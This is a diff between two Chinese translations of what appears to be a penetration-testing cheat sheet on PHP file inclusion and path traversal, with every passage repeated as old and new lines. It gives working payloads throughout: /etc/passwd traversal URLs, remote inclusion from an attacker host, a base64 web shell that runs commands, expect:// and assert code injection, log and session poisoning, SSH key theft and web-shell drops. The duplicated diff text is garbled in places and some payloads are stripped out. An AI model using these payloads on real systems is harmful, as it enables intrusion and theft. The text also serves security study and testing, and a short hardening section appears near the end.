`/etc//passwd`, `/etc/./passwd`, 和 `/etc/passwd/` 都被视为相同的路径。 +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 都被视为相同的路径。 - 当最后 6 个字符是 `passwd` 时,追加一个 `/`(变成 `passwd/`)并不会改变目标文件。 -- 类似地,如果文件路径末尾包含 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 并不会改变所访问的文件。 +- 类似地,如果在文件路径末尾附加了 `.php`(例如 `shellcode.php`),在末尾再加上 `/.` 也不会改变被访问的文件。 -下面的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户帐户信息): +下面的示例演示了如何利用 path truncation 来访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户帐户信息): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -在这些场景中,所需的遍历次数可能约为 2027,但该数字可能根据服务器的配置而变化。 +在这些场景中,所需的遍历次数可能约为 2027,但该数字会根据服务器的配置而有所不同。 -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server. -- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact. -- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic. +- **Using Dot Segments and Additional Characters**: 遍历序列(`../`)与额外的点段和字符结合,可用于在文件系统中导航,从而有效地忽略服务器附加的字符串。 +- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确的 `../` 序列数量,以从根目录导航到 `/etc/passwd`,确保任何附加的字符串(例如 `.php`)被中和,而目标路径(`/etc/passwd`)保持不变。 +- **Starting with a Fake Directory**: 通常会在路径开头使用一个不存在的目录(例如 `a/`)。这种做法可作为一种预防措施,或用于满足服务器路径解析逻辑的要求。 -在使用路径截断技术时,理解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方案。 +在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方式。 -**此漏洞在 PHP 5.3 中已修复。** +**该漏洞已在 PHP 5.3 中修复。** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -在 php 中默认禁用,因为 **`allow_url_include`** 为 **Off**。必须为 **On** 才能工作,这样你可以从你的服务器包含一个 PHP 文件并获得 RCE: +在 php 中,这在默认情况下被禁用,因为 **`allow_url_include`** 为 **Off**。必须将其设为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -如果因为某些原因 **`allow_url_include`** 是 **On**,但 PHP 正在 **filtering** 外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议配合 base64 来解码 b64 PHP 代码并获得 RCE: +如果由于某种原因 **`allow_url_include`** 为 **On**,但 PHP 正在**过滤**对外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议结合 base64 来解码 b64 PHP 代码并获得 RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> 在前面的代码中,最后的 `+.txt` 是被加入的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,经过 b64 decode 后该部分将只是一些垃圾,而真正的 PHP 代码会被包含(因此被执行)。 +> 在前面的代码中,最后的 `+.txt` 是被添加上的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,并且在 b64 解码后那部分将只会返回一些垃圾,而真实的 PHP 代码会被包含(因此被执行)。 -另一个示例 **不使用 `php://` 协议** 会是: +另一个**不使用 `php://` 协议**的例子如下: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python 根元素 -在 Python 中,像下面这样的代码: +在 python 中,像下面这样的代码: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -如果用户将 **绝对路径** 传递给 **`file_name`**,则 **之前的路径会被移除**: +如果用户传递了一个**绝对路径**到**`file_name`**,则**之前的路径会被移除**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -这是根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) 的预期行为: +根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) 的说明,这是预期的行为: -> 如果某个组件是绝对路径,所有先前的组件都会被丢弃,连接将从绝对路径组件继续。 +> 如果某个组件是绝对路径,则会丢弃所有先前的组件,并从该绝对路径组件继续进行连接。 ## Java 列出目录 -看起来如果在 Java 中存在 Path Traversal,并且你 **请求一个目录** 而不是文件,**将返回该目录的列表**。据我所知,这在其他语言中不会发生。 +看起来如果在 Java 中存在 Path Traversal 并且你 **请求一个目录** 而不是文件,返回的将是该目录的 **目录列表**。据我所知,这在其他语言中不会发生。 -## Top 25 参数 +## 前25个参数 -下面是可能易受 local file inclusion (LFI) 漏洞影响的前 25 个参数列表 (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +以下是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI 使用 PHP wrappers & protocols ### php://filter -PHP filters 允许在读取或写入数据之前执行基本的**数据修改操作**。有 5 类过滤器: +PHP filters allow perform basic **修改操作** on the data before being it's read or written. There are 5 categories of filters: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars) +- `string.strip_tags`: 从数据中移除标签(位于 "<" 与 ">" 字符之间的内容) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . To get the **list of all the encodings** supported run in the console: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`)。要获取支持的**所有编码列表**,在控制台运行:`iconv -l` > [!WARNING] -> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这对于写入任意文本或让类似 include 的函数处理任意文本可能很有用。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这可用于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) -- `zlib.inflate`: Decompress the data +- `zlib.deflate`: 压缩内容(当需要外传大量信息时有用) +- `zlib.inflate`: 解压数据 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Deprecated -- `mdecrypt.*` : Deprecated +- `mcrypt.*` : 已弃用 +- `mdecrypt.*` : 已弃用 - Other Filters -- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些**意外的过滤器**: +- 在 php 中运行 `var_dump(stream_get_filters());` 可以发现一些**意外的过滤器**: - `consumed` -- `dechunk`: 反转 HTTP 分块编码 +- `dechunk`: 还原 HTTP chunked 编码 - `convert.*` ```php # String Filters @@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > 部分 "php://filter" 不区分大小写 -### 使用 php filters 作为 oracle 来读取任意文件 +### 使用 php filters 作为 oracle 读取任意文件 -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种技术,可以在服务器不直接返回输出的情况下读取本地文件。该技术基于使用 php filters 作为 oracle 的 **boolean exfiltration (char by char)**。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。 +[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在服务器不返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 的**布尔式外泄(逐字符)**。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。 -原文中有对此技术的详细解释,这里给出快速总结: +在原文中可以找到该技术的详细解释,但这里是快速摘要: -- 使用 codec **`UCS-4LE`** 将文本的首字符放在开头,并使字符串大小呈指数增长。 -- 当猜测到首字母正确时,这会被用来生成一个足够大的文本,从而触发 php 的 **error**。 -- **dechunk** filter 会在首字符不是十六进制时 **删除所有内容**,因此我们可以判断首字符是否为十六进制。 -- 将此与前者结合(以及根据猜测字母使用的其他 filters),可以通过观察在进行足够多的转换后何时其不再是十六进制字符来猜出文本首字母。如果是十六进制,dechunk 不会删除它,而初始的“炸弹”会导致 php 报错。 -- codec **convert.iconv.UNICODE.CP930** 会将每个字母变为其后继字母(所以经过此 codec 之后:a -> b)。这能让我们判断首字母是否为 `a`,例如如果我们应用 6 次该 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,从而 dechunk 不会删除它,且由于与初始“炸弹”相乘会触发 php error。 -- 使用像 **rot13** 这样的初始变换可以 leak 其他字符,例如 n, o, p, q, r(也可以用其他 codecs 将其他字母移入十六进制范围)。 -- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字母以推断该数字。 -- 最终的问题是如何 leak 超过首字母的内容。通过使用改变字节顺序的 filters(例如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**)可以改变字符的顺序,从而将文本中的其他字母移动到首位。 -- 为了能够获取更多数据,思路是使用 **convert.iconv.UTF16.UTF16** 在开头生成 2 字节的垃圾数据,应用 **UCS-4LE** 使其与接下来的 2 字节发生 **pivot**,然后 d**elete the data until the junk data**(这会移除原始文本的前 2 个字节)。重复此过程直到到达要 leak 的目标位。 +- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头并使字符串长度呈指数增长。 +- 这将用于生成一个**当首字母被猜对时变得非常大的文本**,从而使 php 触发 **错误**。 +- **dechunk** filter 会在**首字符不是十六进制时删除所有内容**,因此我们可以判断首字符是否为十六进制。 +- 将此与前者(以及根据猜测字母使用的其他 filters)结合,可以通过观察何时对文本进行足够的转换以使其不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始“炸弹”会使 php 报错。 +- codec **convert.iconv.UNICODE.CP930** 会将每个字母转换为下一个字母(例如经过该 codec 后:a -> b)。这使我们能够确认首字母是否为 `a`,例如如果我们连续应用 6 次该 codec,a->b->c->d->e->f->g,那么该字母就不再是十六进制字符,因此 dechunk 不会删除它,并且由于与初始“炸弹”相乘,会触发 php 错误。 +- 在开始时使用其他转换(如 **rot13**)可以 leak 其他 chars,比如 n、o、p、q、r(其他 codecs 也可用于将其它字母移动到十六进制范围)。 +- 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母来 leak 该数字。 +- 最终的问题是如何 **leak 超过初始字母**。通过使用顺序内存 filters,比如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符顺序并将文本中的其他字母移到首位。 +- 为了能够获取 **进一步的数据**,思路是使用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,应用 **UCS-4LE** 使其与接下来的 2 字节 **pivot**,并 **删除数据直到垃圾数据为止**(这会删除初始文本的前 2 字节)。重复此过程直到到达要 leak 的位。 -文章中还公开了一个用于自动执行该操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 +在文章中还 leak 了一个用于自动执行该操作的工具: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 ### php://fd -This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: +该 wrapper 允许访问进程已打开的文件描述符。可能有助于外泄已打开文件的内容: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中有何用处) +你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0、1 和 2**(不确定这在攻击中如何有用) ### zip:// and rar:// 上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\ -要能够滥用 rar 协议,它**需要被专门启用**。 +为了能够滥用 rar 协议,它**需要被专门启用**。 ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -请注意,该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制 +注意:此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 限制 ### expect:// -Expect 必须启用。你可以使用以下方式执行代码: +Expect 必须被启用。你可以使用以下方式执行代码: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -在 POST 参数中指定 payload: +在 POST 参数中指定你的 payload: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -当 web 应用使用诸如 `include` 之类的用于加载文件的函数时,可以利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建一个 `.phar` 文件: +当 web 应用使用如 `include` 等函数进行文件加载时,可利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 `.phar` 文件: ```php stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -执行后,会创建一个名为 `test.phar` 的文件,该文件可能被用来利用 Local File Inclusion (LFI) 漏洞。 +执行后,会创建一个名为 `test.phar` 的文件,这个文件可能被用来利用 Local File Inclusion (LFI) 漏洞。 -在 LFI 仅执行文件读取而不运行其中 PHP 代码的情况下,比如通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用与 `phar` 协议读取文件相关的反序列化漏洞。 +如果 LFI 只是通过诸如 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数读取文件而不执行其中的 PHP 代码,则可以尝试利用反序列化(deserialization)漏洞。该漏洞与使用 `phar` 协议读取文件有关。 -要详细了解在 `.phar` 文件上下文中利用反序列化漏洞,请参阅下面的文档: +关于在 .phar 文件上下文中利用反序列化漏洞的详细说明,请参见下面的文档: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,36 +373,36 @@ phar-deserialization.md ### CVE-2024-2961 -可以滥用 **任何由 PHP 读取且支持 php filters 的任意文件** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -非常简要的总结:在 PHP heap 中利用了一个 **3 byte overflow** 来**修改特定大小空闲 chunk 的链**,以便能够**在任意地址写入任意内容**,因此添加了一个钩子来调用 **`system`**。\ +可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。详细描述可以 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +非常简短的总结:滥用 PHP heap 中的 **3 byte overflow** 来 **alter the chain of free chunks**(更改特定大小的空闲块链),以能够 **write anything in any address**,因此添加了一个 hook 来调用 **`system`**。\ 可以通过滥用更多 php filters 来分配特定大小的 chunks。 -### 更多协议 +### More protocols -查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在 file inclusion 攻击中如何有用) - [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统 - [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URLs - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URLs - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流 -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回可打印的内容,因此在这里并不太有用) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印内容,所以在这里并不太有用) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件) ## LFI via PHP's 'assert' -当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串内的代码。特别是在对包含目录穿越字符(如 `..`)的输入进行检查但未正确消毒的情况下,这尤其成问题。 +当处理 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。如果对包含类似 ".." 的目录遍历字符的输入进行了检查但没有正确消毒,这尤其成问题。 -例如,PHP 代码可能被设计为如下防止目录遍历: +例如,PHP 代码可能被设计成如下以防止目录遍历: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -虽然这旨在阻止遍历,但它无意中创造了一个代码注入的向量。要利用这一点读取文件内容,攻击者可以使用: +尽管这旨在阻止 traversal,但它无意中为 code injection 创建了一个向量。为了利用这一点读取文件内容,攻击者可以使用: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -同样地,为了执行任意系统命令,可以使用: +同样地,要执行任意系统命令,可以使用: ```plaintext ' and die(system("id")) or ' ``` @@ -411,36 +411,36 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> 该技术适用于你**控制**一个**PHP 函数**的**文件路径**,该函数会**访问文件**但你无法看到文件内容的情形(比如简单调用 **`file()`**),即内容不会被显示。 +> 此技术适用于你 **控制** **文件路径** 的 **PHP 函数**,该函数会 **访问文件**,但你看不到文件内容(例如简单调用 **`file()`**),且内容不会被显示。 -在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 利用盲路径遍历来通过错误 oracle **exfiltrate** 文件内容。 +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -概括来说,该技术使用 **"UCS-4LE" encoding** 将文件内容变得足够**大**,以至于打开该文件的 **PHP 函数** 会触发一个**错误**。 +As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**. -然后,为了 leak 第一个字符,使用 filter **`dechunk`** 以及其他如 **base64** 或 **rot13**,最后用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来**在开头放置其他字符并 leak 它们**。 +Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **将其他字符放在开头并 leak 它们**. -可能易受影响的函数: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -有关技术细节,请查看上述文章! +For the technical details check the mentioned post! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -当服务端用于接收/上传文件的代码在构建目标路径时使用了用户控制的数据(例如文件名或 URL),且没有进行规范化和校验,`..` 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能将 payload 放到一个对外暴露的 web 目录下,通常可以通过放置 webshell 来获取未认证的 RCE。 +When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. -典型利用流程: -- 识别一个在 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。 -- 确定对外暴露的 web 目录。常见示例: +Typical exploitation workflow: +- 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如:基于消息的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。 +- 确定 web-exposed directories。常见例子: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- 构造一个 traversal 路径,将其从预期的存储目录突破到 webroot,并包含你的 webshell 内容。 -- 访问被写入的 payload 并执行命令。 +- 构造一个 traversal 路径,将其从预期存储目录跳出到 webroot,并包含你的 webshell 内容。 +- 访问已写入的 payload 并执行命令。 -注意: -- 执行写入的易受攻击服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你的 payload。 -- 在 Java 技术栈中,这类文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/白名单是核心缺陷。 +Notes: +- 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如,TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。 +- 在 Java 堆栈上,这些文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/allow-listing 是核心缺陷。 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,25 +466,25 @@ in.transferTo(out);
``` -硬化措施,可以防止这一类漏洞: -- 解析为规范路径,并确保它是允许白名单基目录的子目录。 +缓解这类漏洞的加固措施: +- 将路径解析为规范路径并强制其为允许列表基目录的子目录。 - 拒绝任何包含 `..`、绝对根路径或驱动器字母的路径;优先使用生成的文件名。 -- 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。 +- 以低权限账户运行写入程序,并将写入目录与对外提供的根目录隔离。 ## Remote File Inclusion -前面已解释,[**请点击此链接**](#remote-file-inclusion)。 +Explained previously, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### 通过 Apache/Nginx 日志文件 -如果 Apache 或 Nginx 服务器在 include 函数中**易受 LFI**,你可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中写入类似 **``** 的 php shell,然后 include 该文件 +如果 Apache 或 Nginx 服务器在 include 函数中对 **LFI** 易受攻击,可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中放置一个 php shell like **``** 并包含该文件 > [!WARNING] -> 注意,**如果你为 shell 使用双引号**而不是**单引号**,双引号会被修改为字符串 "_**quote;**_",**PHP 会在那抛出错误**,并且**不会执行其他任何东西**。 +> 注意,**如果你使用双引号** 为 shell 而不是 **单引号**,双引号会被修改为字符串 "_**quote;**_",**PHP 会在此抛出错误**,并且**不会执行其他任何操作**。 > -> 另外,确保你**正确编写 payload**,否则每次尝试加载日志文件时 PHP 都会报错,并且你不会有第二次机会。 +> 另外,确保你**正确地写入 payload**,否则每次尝试加载日志文件时 PHP 都会报错,你将没有第二次机会。 -这也可以在其他日志中完成,但**要小心,**日志内的代码可能是 URL 编码的,这会破坏 Shell。头部 **authorisation "basic"** 包含以 Base64 编码的 "user:password",并且会在日志中被解码。PHPShell 可以插入到该头部中。 +这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 "user:password" 的 Base64 编码并且在日志中会被解码。PHPShell 可以插入到该头部中。\ 其他可能的日志路径: ```python /var/log/apache2/access.log @@ -497,27 +497,27 @@ in.transferTo(out); /var/log/nginx/error.log /var/log/httpd/error_log ``` -Fuzzing 字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) +Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### 通过电子邮件 -**向内部账户发送邮件**(user@localhost),邮件中包含你的 PHP payload,例如 ``,然后尝试包含用户的邮件,路径例如 **`/var/mail/`** 或 **`/var/spool/mail/`** +**发送邮件** 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload,比如 ``,并尝试包含该用户的邮件,路径例如 **`/var/mail/`** 或 **`/var/spool/mail/`** -### Via /proc/\*/fd/\* +### 通过 /proc/\*/fd/\* 1. 上传大量 shells(例如:100) -2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力猜测)且 $FD 为文件描述符(也可以暴力猜测) +2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可通过暴力枚举),$FD 是文件描述符(也可通过暴力枚举) -### Via /proc/self/environ +### 通过 /proc/self/environ -类似于日志文件,将 payload 放在 User-Agent 中发送,它会被反射到 /proc/self/environ 文件中 +像日志文件一样,将 payload 放在 User-Agent 中,它会被反射到 /proc/self/environ 文件中 ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Via upload +### 通过 upload -如果你可以 upload 文件,只需在其中注入 shell payload(例如:``)。 +如果你可以 upload 一个文件,只需 inject shell payload 到其中(e.g : ``)。 ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` @@ -525,18 +525,18 @@ http://example.com/index.php?page=path/to/uploaded/file.png ### 通过 ZIP 文件上传 -上传包含已压缩 PHP shell 的 ZIP 文件并访问: +上传一个包含 PHP shell 的 ZIP 文件并访问: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via PHP sessions +### 通过 PHP sessions 检查网站是否使用 PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -在 PHP 中,这些 sessions 存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中 +在 PHP 中,这些会话被存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中 ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -545,83 +545,83 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm ``` login=1&user=&pass=password&lang=en_us.php ``` -使用 LFI 包含 PHP session 文件 +使用 LFI 包含 PHP 会话文件 ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### 通过 ssh -如果 ssh 处于活动状态,检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\/.ssh/id_rsa** +如果 ssh 可用,检查当前使用的是哪个用户(/proc/self/status & /etc/passwd)并尝试访问 **\/.ssh/id_rsa** ### **通过** **vsftpd** _**日志**_ -FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,则可以考虑以下步骤: +FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务的情况下,可以考虑以下步骤: -1. 在登录过程中将 PHP payload 注入到 username 字段。 +1. 在登录过程中,将 PHP payload 注入到用户名字段。 2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。 -### 通过 php base64 filter (使用 base64) +### 通过 php base64 filter (using base64) -正如 